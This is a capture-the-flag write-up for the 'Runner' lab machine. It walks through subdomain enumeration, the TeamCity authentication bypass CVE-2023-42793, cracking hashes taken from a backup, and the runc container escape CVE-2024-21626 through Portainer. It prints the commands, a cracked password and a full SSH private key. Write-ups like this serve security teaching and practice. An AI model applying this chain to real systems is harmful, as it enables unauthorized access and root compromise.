Machine Card listing Runner as a medium Linux box

Reconnaissance

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp   open  http        nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://runner.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
8000/tcp open  nagios-nsca Nagios NSCA
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The nmap scan identified three ports, with two of those being HTTP and the usual SSH port. There’s already a redirect to runner.htb on port 80 so I’ll add this domain to my /etc/hosts file before having a closer look.

HTTP

Going to http://runner.htb shows a webpage for CI/CD Specialists. I could request a Quote but that just tries to open a mail program to contact sales@runner.htb. There’s no open port for submitting that mail though.

Screenshot of the webpage for Runner

Skimming over the page shows nothing really interesting besides a reference to TeamCity.

Section of the webpage informing us about the usage of TeamCity

Since the webserver has a domain name configured I try to bruteforce valid virtual hosts with fuff. The page returns 154 characters as default so I add -fs 154 to filter those replies. After a while the virtual host teamcity.runner.htb is found and I add this to my hosts file as well.

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/dns-Jhaddix.txt \
     -u http://runner.htb \
     -H 'Host: FUZZ.runner.htb' \
     -fs 154
 
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : http://runner.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/dns-Jhaddix.txt
 :: Header           : Host: FUZZ.runner.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 154
________________________________________________
 
teamcity                [Status: 401, Size: 66, Words: 8, Lines: 2, Duration: 53ms

Initial Access

Navigating to http://teamcity.runner.htb reveals a TeamCity login page, which also discloses the version number: 2023.05.3 (build 129390). A quick online search identifies CVE-2023-42793, a critical vulnerability that allows authentication bypass and potentially enables remote code execution1.

Login Prompt to TeamCity showing the version 2023.05.3

A proof-of-concept is available on Github and can be used to create a new administrator on TeamCity.

python3 CVE-2023-42793.py -u http://teamcity.runner.htb
[+] http://teamcity.runner.htb/login.html [H454NSec4388:@H454NSec]

With the credentials from the output of the PoC I am able to login with administrative access. Poking around on the web interface there is a backup feature in Administration Backup where I can create a new backup.

TeamCity web interface with the backup pane open and the Start Backup button highlighted

After a few seconds the new backup is done and ready to be downloaded. Extracting the ZIP locally and going through it, I find a database dump of the user table. The file contains two users besides the account I’ve created with the exploit. There is admin aka john@runner.htb and matthew@runner.htb with their hashed passwords.

database_dump/users
ID, USERNAME, PASSWORD, NAME, EMAIL, LAST_LOGIN_TIMESTAMP, ALGORITHM
1, admin, $2a$07$neV5T/BlEDiMQUs.gM1p4uYl8xl8kvNUo4/8Aja2sAWHAQLWqufye, John, john@runner.htb, 1724190064594, BCRYPT
2, matthew, $2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em, Matthew, matthew@runner.htb, 1709150421438, BCRYPT
11, h454nsec4388, $2a$07$ZvHRpAfmS9g1e/YrnDW35OwPvHUTk02tkGoucg8/lo.bxDxniiQ/2, , "", 1724190105196, BCRYPT

Running the two hashes through john reveals the cleartext password for matthew to be piper123. Unfortunately it does not work on SSH.

john --fork=10 --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 128 for all loaded hashes
Node numbers 1-10 of 10 (fork)
Press 'q' or Ctrl-C to abort, almost any other key for status
piper123         (?)
--- SNIP ---

Continuing to sift through the backup I find a SSH private key in config/projects/AllProjects/pluginData/ssh_keys. Trying the key for the two existing users lets me login as john and collect the first flag.

-----BEGIN OPENSSH PRIVATE KEY-----
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
KgK8c9z2ecgZsAAAALam9obkBydW5uZXI=
-----END OPENSSH PRIVATE KEY-----

Privilege Escalation

Enumerating the host and checking for open ports I can see additional ports that are bound to localhost: 9000 and 9443. Those are alternative HTTP ports so I try to access them via curl.

ss -tulpn
Netid                   State                    Recv-Q                   Send-Q                                      Local Address:Port                                       Peer Address:Port                   Process                   
udp                     UNCONN                   0                        0                                           127.0.0.53%lo:53                                              0.0.0.0:*                                                
udp                     UNCONN                   0                        0                                                 0.0.0.0:68                                              0.0.0.0:*                                                
tcp                     LISTEN                   0                        4096                                            127.0.0.1:9443                                            0.0.0.0:*                                                
tcp                     LISTEN                   0                        4096                                            127.0.0.1:8111                                            0.0.0.0:*                                                
tcp                     LISTEN                   0                        4096                                            127.0.0.1:5005                                            0.0.0.0:*                                                
tcp                     LISTEN                   0                        4096                                            127.0.0.1:9000                                            0.0.0.0:*                                                
tcp                     LISTEN                   0                        4096                                        127.0.0.53%lo:53                                              0.0.0.0:*                                                
tcp                     LISTEN                   0                        511                                               0.0.0.0:80                                              0.0.0.0:*                                                
tcp                     LISTEN                   0                        128                                               0.0.0.0:22                                              0.0.0.0:*                                                
tcp                     LISTEN                   0                        4096                                                    *:8000                                                  *:*                                                
tcp                     LISTEN                   0                        511                                                  [::]:80                                                 [::]:*                                                
tcp                     LISTEN                   0                        128                                                  [::]:22                                                 [::]:*
 
curl 'http://127.0.0.1:9000'
<!doctype html><html lang="en" ng-app="portainer" ng-strict-di data-edition="CE"><head><meta charset="utf-8"/><title>Portainer</title><meta name="description" content=""/><meta name="author" content="Portainer.io"/><meta http-equiv="cache-control" content="no-cache"/><meta http-equiv="expires" content="0"/><meta http-equiv="pragma" content="no-cache"/><base id="base"/><script>if (window.origin == 'file://') {
--- SNIP ---

Both ports lead to Portainer (identified by the <title> tag), a web interface to manage docker and kubernetes2. After recreating the SSH session with -D 1080 to open a SOCKS proxy and configuring said proxy in Firefox lets me access the port 9000.

Login prompt to Portainer.io

This time the credentials for matthew do work. Juding from the dashboard there are two images, one volume, and portainer has access to the docker socket.

Dashboard of Portainer showing one volume, two images and access to the docker socket.

Having access to the docker socket allows me to interact with the docker daemon through Portainer, including starting new containers. Docker uses runc as the default runtime, and checking its version with runc --version shows 1.1.7-0ubuntu1~22.04.1. This version is vulnerable to CVE-2024-21626, which allows container escape by setting the current working directory to /proc/self/fd/7 and navigating up multiple directories.

The Portainer instance already has access to two images ubuntu:latest and teamcity:latest. My plan is to create a new container using the ubuntu image and replicate the steps from the vulnerability. Within the Advanced container settings I set the working directory to /proc/self/fd/7, enalbe the Interactive & TTY option and set the user to root.

Screenshot showing the Create Container page with the image ubuntu:latest, the working directory set to /proc/self/fd/7, Interactive & TTY selected and root specified as user

After clicking Deploy the container there’s a small notification indicating success and the new container shows up in the overview. The container detail view gives access to the Console. Clicking on Connect drops me into a shell and moving up a few directories lets me access the filesystem of the host system.

From there I collect the final flag and also the SSH key for the root user.

Screenshot showing the console window with several errors for getcwd. After going three directories up, the contents of the /root directory on the host system is listed with ls

Hint

The attack also works with /proc/self/fd/8

Attack Path

flowchart TD

subgraph "Initial Access"
    A(VHOST Enumeration) --> B(Discover subdomain teamcity)
    B -->|CVE-2023-42793| C(Create new Administrator)
    C -->|Create New Backup| D(Configuration of TeamCity)
    D -->|Crack Hash in DB| E(Password for matthew)
    D -->|SSH Private Key| F(Shell as john)
end

subgraph "Privilege Escalation"
    F -->|Check open ports| G(Portainer running locally)
    G & E -->|Valid Account| H(Access as matthew)
    H -->|CVE-2024-21626| I(Escape from Container to Host as root)
end

Footnotes

  1. CVE-2023-42793: Critical Authentication Bypass in JetBrains TeamCity CI/CD Servers

  2. Portainer